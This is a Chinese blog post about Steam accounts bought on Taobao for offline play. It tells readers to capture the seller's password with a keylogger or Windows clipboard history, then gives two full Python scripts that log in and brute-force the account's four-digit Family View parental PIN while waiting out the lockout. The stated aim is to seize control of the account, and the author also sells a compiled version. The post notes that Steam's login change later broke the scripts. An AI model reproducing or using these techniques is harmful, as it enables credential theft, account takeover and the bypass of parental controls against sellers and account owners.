我去淘宝买了一个游戏的Steam离线版,实际上就是给你个账户下载安装后以离线模式运行,配合上Steam账户管理器玩起来感觉还是很不错的
但我总是对客户端上的 家庭监护 标志耿耿于怀…
失效 已确认 Steam 更换了登录算法,本文的脚本失效。
怎么搞到账户密码? 对很多店来说,他们不愿意把账户密码给你,更愿意直接远程,然后输入账户和密码,全部设置好后给设置为离线模式。
这个其实很好搞,Steam本身保护并不是非常到位,你可以采取记录键盘的方式记录下输入的密码,如果遇到和我一样偷懒复制粘贴的店家,你只需要借助Win自带的剪贴板历史(Win徽标+V)打开后就可以看到复制来的账户和密码啦~~~
怎么搞到家庭监护的Key? Steam客户端和Steam网页都会被监护影响,经过测试,无论是客户端还是网页,都是输错5次暂停3分钟输入,那当然选择网页折腾啦~~
抓包的过程也很简单,需要注意的是,有个参数是附在网页中传递来的,需要取出来,然后遇到错误暂停3分钟继续咯。。。
rsa.js.zip
下面是脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 # !/user/bin/env python # -*- coding:utf-8 -*- # time: 2018/9/6--19:24 __author__ = 'Henry' # I use his login code ,thx him __sauthor__ = 'zponds' ''' Steam login (RSA) URL:https://store.steampowered.com/login/ ''' import requests import time import re import execjs import json def steam_login(): req = requests.session() headers = { 'Referer': 'https://store.steampowered.com/login/', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \ Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54', } url = 'https://store.steampowered.com/login/getrsakey/' data = { 'donotcache': str(int(time.time() * 1000)), 'username': user } html = req.post(url, data=data, headers=headers).json() pub_mod = html.get('publickey_mod') pub_exp = html.get('publickey_exp') timestamp = html.get('timestamp') with open('rsa.js', encoding='utf-8') as f: jsdata = f.read() passencrypt = execjs.compile(jsdata).call('getpwd', password, pub_mod, pub_exp) print(passencrypt) # login url = 'https://store.steampowered.com/login/dologin/' data = { 'donotcache': str(int(time.time() * 1000)), 'username': user, 'password': passencrypt, 'twofactorcode': '', 'emailauth': '', 'loginfriendlyname': '', 'captchagid': '-1', 'captcha_text': '', 'emailsteamid': '', 'rsatimestamp': timestamp, 'remember_login': 'false', } html = req.post(url, data=data, headers=headers).json() if html.get('emailauth_needed') == True: print('Login requires your email verification code') emailid = html.get('emailsteamid') email = input('Please enter your email verification code:') # login again data['emailauth'] = email data['emailsteamid'] = emailid html = req.post(url, data=data, headers=headers).json() print(html) if html.get('login_complete') == True and html.get('success') == True: print('logining...') url_store = 'https://store.steampowered.com/' html = req.get(url_store, headers=headers).text username = re.findall(r'data-miniprofile=".*?">(.*?)</a>', html)[0] print('[Success!Username:' + username + ']') r = req.get('https://store.steampowered.com/parental/blocked') if '/parental/unlock' in r.text: print('The account has a family view') sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0] success = False start = input('PIN from:') start_time = int(time.time()) for pin in range(int(start) - 1, 10000): flag = True while flag: # 取出sessionID pin_str = str(pin) while len(pin_str) < 4: pin_str = "0" + pin_str data = { 'pin': pin_str, 'sessionid': sessionID } try: r = req.post('https://store.steampowered.com/parental/ajaxunlock', data=data, headers=headers) r_json = json.loads(r.text) if r_json['success'] == False: if 'wait a while' in r_json['error_message']: print('Sleep...') time.sleep(180) r = req.get('https://store.steampowered.com/parental/blocked') sessionID = re.findall('g_sessionID = "(.*?)";', r.text)[0] else: flag = False print("PIN: %s: %s" % (pin_str, r_json['error_message'])) else: print("PIN: %s: SUCCESS!" % pin_str) end_time = int(time.time()) print("Time: %ds" % (end_time-start_time)) success = True except BaseException as e: print('Error...') time.sleep(10) if success: exit(0) else: print('The account does not have a family view') else: print('login fail...') elif html.get('success') == False and html.get('message') != '': print(html.get('message')) print('login fail...') if __name__ == '__main__': user = input('account:') password = input('password:') steam_login()
0000-9999 Pin 3分钟可以尝试5次,运气再差也就2-3天的事情吧找台服务器放着就好啦
搞到KEY之后? 解除掉家庭监护就可以添加家庭共享啦~
接下来这个账户的使用权就属于你啦~
什么?不会运行Python? 没有关系,我已经准备好了一个WINDOWS开箱即用的版本了!购买附件,下载后可以直接使用!
同时附赠一次指导!
2020年3月18日更新
掉线后会自动尝试重新登录
结束后会要求输入EXIT以退出
BUG修复
当然,编译的WINDOWS文件也更新了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 __author__ = 'Henry' __sauthor__ = 'zponds' ''' Steam login (RSA) URL:https://store.steampowered.com/login/ ''' import requestsimport timeimport reimport execjsimport jsondef steam_login (open_start=-1 ): req = requests.session() headers = { 'Referer' : 'https://store.steampowered.com/login/' , 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \ Chrome/79.0.3945.88 Safari/537.36 Edg/79.0.309.54' , } url = 'https://store.steampowered.com/login/getrsakey/' data = { 'donotcache' : str (int (time.time() * 1000 )), 'username' : user } html = req.post(url, data=data, headers=headers).json() pub_mod = html.get('publickey_mod' ) pub_exp = html.get('publickey_exp' ) timestamp = html.get('timestamp' ) with open ('rsa.js' , encoding='utf-8' ) as f: jsdata = f.read() passencrypt = execjs.compile (jsdata).call('getpwd' , password, pub_mod, pub_exp) url = 'https://store.steampowered.com/login/dologin/' data = { 'donotcache' : str (int (time.time() * 1000 )), 'username' : user, 'password' : passencrypt, 'twofactorcode' : '' , 'emailauth' : '' , 'loginfriendlyname' : '' , 'captchagid' : '-1' , 'captcha_text' : '' , 'emailsteamid' : '' , 'rsatimestamp' : timestamp, 'remember_login' : 'true' , } html = req.post(url, data=data, headers=headers).json() if html.get('emailauth_needed' ) == True : print ('登陆需要邮箱验证码...' ) emailid = html.get('emailsteamid' ) email = input ('请输入验证码:' ) data['emailauth' ] = email data['emailsteamid' ] = emailid html = req.post(url, data=data, headers=headers).json() if html.get('login_complete' ) == True and html.get('success' ) == True : print ('logining...' ) url_store = 'https://store.steampowered.com/' html = req.get(url_store, headers=headers).text username = re.findall(r'data-miniprofile=".*?">(.*?)</a>' , html)[0 ] print ('[登陆成功!用户名:' + username + ']' ) r = req.get('https://store.steampowered.com/parental/blocked' ) if '/parental/unlock' in r.text: print ('这个账户存在家庭监护' ) sessionID = re.findall('g_sessionID = "(.*?)";' , r.text)[0 ] success = False if open_start == -1 : start = input ('从多少开始PIN(第一次运行请从0000开始):' ) else : start = open_start start_time = int (time.time()) for pin in range (int (start) - 1 , 10000 ): flag = True while flag: pin_str = str (pin) while len (pin_str) < 4 : pin_str = "0" + pin_str data = { 'pin' : pin_str, 'sessionid' : sessionID } try : r = req.post('https://store.steampowered.com/parental/ajaxunlock' , data=data, headers=headers) if len (r.text) > 2000 : return steam_login(pin) r_json = json.loads(r.text) if r_json['success' ] == False : if 'wait a while' in r_json['error_message' ] or '错误尝试' in r_json['error_message' ]: print ('等待中...' ) time.sleep(180 ) r = req.get('https://store.steampowered.com/parental/blocked' ) sessionID = re.findall('g_sessionID = "(.*?)";' , r.text)[0 ] else : flag = False print ("PIN: %s: %s" % (pin_str, r_json['error_message' ])) else : print ("PIN: %s: 成功!" % pin_str) end_time = int (time.time()) print ("Time: %ds" % (end_time-start_time)) success = True except BaseException as e: print ('Error...' ) time.sleep(10 ) if success: return else : print ('您的账户不存在家庭监护!' ) else : print (html.get('message' )) print ('登陆失败...' ) if __name__ == '__main__' : user = input ('账户名:' ) password = input ('密码:' ) print ('注意,跑PIN耗时可能非常长...可能长达两天...' ) steam_login() end = input ('输入 EXIT 以退出...' ) while end != 'EXIT' : end = input ('输入 EXIT 以退出...' )